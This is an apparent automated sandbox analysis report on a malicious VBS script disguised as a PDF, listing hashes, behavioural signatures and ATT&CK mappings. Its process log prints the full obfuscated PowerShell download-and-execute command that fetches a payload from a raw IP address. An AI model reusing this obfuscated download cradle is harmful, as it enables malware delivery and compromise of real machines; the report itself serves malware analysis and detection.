53489c9133ab9bd888329220b13b33ad41ccb30916bd6daf284ce07f699ca9a7

Analysis

max time kernel
300s
max time network
306s
platform
windows7_x64
resource
win7-en-20210920
submitted
21-10-2021 21:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

183287857-050118-sanlccjavap0004-6561_PDF.vbs
Size

440B
MD5

fd5d9dd54f30ebeda49b3f3d9d57d1c6
SHA1

bdc86ae73f8ea542af15ed6a5643b1a9cfd8ea51
SHA256

75e81b26f76f0050408e59a9d3606e0ee6d474ffa9e2296187f582884fa2f59f
SHA512

60857407aa6143be42149dac675348dcbfaa1a9ed8dd66e66fe936dbabca8dd490d3019573fe940631741047e7edb0b0df9730a33ccaf48aed077e939608b7b9

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://202.55.132.106/Bypass3.txt

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1384 powershell.exe
5 1384 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1384 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1384 powershell.exe

flow	pid	process
4	1384	powershell.exe
5	1384	powershell.exe

pid	process
1384	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1384	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 612 wrote to memory of 1384	612	WScript.exe	powershell.exe
PID 612 wrote to memory of 1384	612	WScript.exe	powershell.exe
PID 612 wrote to memory of 1384	612	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\183287857-050118-sanlccjavap0004-6561_PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &('{1}{0}'-f'X','IE')(&('{1}{0}{2}' -f'je','New-Ob','ct') ('{1}{2}{0}' -f 'WebClient','Ne','t.')).('{2}{3}{1}{0}' -f'dString','nloa','D','ow').InVoKe('http://202.55.132.106/Bypass3.txt')
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1384

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/612-54-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp

Filesize
8KB

Download
memory/1384-55-0x0000000000000000-mapping.dmp

Download
memory/1384-57-0x000007FEF26D0000-0x000007FEF322D000-memory.dmp

Filesize
11.4MB

Download
memory/1384-58-0x00000000024D0000-0x00000000024D2000-memory.dmp

Filesize
8KB

Download
memory/1384-59-0x00000000024D2000-0x00000000024D4000-memory.dmp

Filesize
8KB

Download
memory/1384-60-0x00000000024D4000-0x00000000024D7000-memory.dmp

Filesize
12KB

Download
memory/1384-61-0x00000000024DB000-0x00000000024FA000-memory.dmp

Filesize
124KB

Download